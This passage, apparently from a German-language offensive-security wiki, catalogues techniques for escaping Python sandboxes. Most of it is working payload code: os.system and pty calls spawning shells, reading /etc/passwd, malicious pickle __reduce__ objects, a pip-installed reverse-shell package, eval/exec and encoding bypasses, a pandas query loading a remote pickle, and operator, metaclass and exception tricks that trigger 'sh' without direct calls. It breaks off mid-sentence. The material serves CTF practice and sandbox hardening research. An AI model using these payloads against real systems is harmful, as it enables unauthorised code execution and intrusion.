Dies sind einige Tricks, um die Python-Sandbox-Schutzmaßnahmen zu umgehen und beliebige Befehle auszuführen.
Bibliotheken zur Befehlsausführung
Das erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst oder ob du eine dieser Bibliotheken importieren könntest:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Denke daran, dass die open und read Funktionen nützlich sein können, um Dateien innerhalb der Python-Sandbox zu lesen und um Code zu schreiben, den du ausführen könntest, um die Sandbox zu umgehen.
Die Python2 input() Funktion ermöglicht das Ausführen von Python-Code, bevor das Programm abstürzt.
Python versucht, zuerst Bibliotheken aus dem aktuellen Verzeichnis zu laden (der folgende Befehl zeigt an, wo Python Module lädt): python3 -c 'import sys; print(sys.path)'
Umgehen der Pickle-Sandbox mit den standardmäßig installierten Python-Paketen
Standardpakete
Du kannst eine Liste der vorinstallierten Pakete hier finden: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Beachte, dass du aus einem Pickle die Python-Umgebung beliebige Bibliotheken importieren kannst, die im System installiert sind.
Zum Beispiel wird der folgende Pickle, wenn er geladen wird, die Pip-Bibliothek importieren, um sie zu verwenden:
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Wenn Sie Zugriff auf pip oder pip.main() haben, können Sie ein beliebiges Paket installieren und eine Reverse-Shell erhalten, indem Sie Folgendes aufrufen:
Sie können das Paket zum Erstellen der Reverse-Shell hier herunterladen. Bitte beachten Sie, dass Sie es dekomprimieren, die setup.py ändern und Ihre IP für die Reverse-Shell einfügen sollten:
Dieses Paket heißt Reverse. Es wurde jedoch speziell so gestaltet, dass, wenn Sie die Reverse-Shell verlassen, der Rest der Installation fehlschlägt, sodass Sie keine zusätzlichen Python-Pakete auf dem Server installiert lassen, wenn Sie gehen.
Eval-ing python code
Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (prüfen Sie den Walross-Operator).
Wenn bestimmte Zeichen verboten sind, können Sie die Hex-/Oktal-/B64-Darstellung verwenden, um die Einschränkung zu umgehen:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Andere Bibliotheken, die die Ausführung von Python-Code ermöglichen
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operatoren und kurze Tricks
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassing protections through encodings (UTF-7)
In diesem Bericht wird UFT-7 verwendet, um beliebigen Python-Code innerhalb einer scheinbaren Sandbox zu laden und auszuführen:
Es ist auch möglich, es mit anderen Kodierungen zu umgehen, z. B. raw_unicode_escape und unicode_escape.
Python-Ausführung ohne Aufrufe
Wenn Sie sich in einem Python-Gefängnis befinden, das keine Aufrufe zulässt, gibt es dennoch einige Möglichkeiten, willkürliche Funktionen, Code und Befehle auszuführen.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE Objekte erstellen und Überladen
Wenn Sie eine Klasse deklarieren und ein Objekt dieser Klasse erstellen können, könnten Sie verschiedene Methoden schreiben/überschreiben, die ausgelöst werden können, ohne sie direkt aufzurufen.
RCE mit benutzerdefinierten Klassen
Sie können einige Klassenmethoden (indem Sie vorhandene Klassenmethoden überschreiben oder eine neue Klasse erstellen) ändern, um sie beliebigen Code auszuführen, wenn sie ausgelöst werden, ohne sie direkt aufzurufen.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Das Wichtigste, was Metaklassen uns ermöglichen, ist eine Instanz einer Klasse zu erstellen, ohne den Konstruktor direkt aufzurufen, indem wir eine neue Klasse mit der Zielklasse als Metaklasse erstellen.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Erstellen von Objekten mit Ausnahmen
Wenn eine Ausnahme ausgelöst wird, wird ein Objekt der Exceptionerstellt, ohne dass Sie den Konstruktor direkt aufrufen müssen (ein Trick von @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Mehr RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially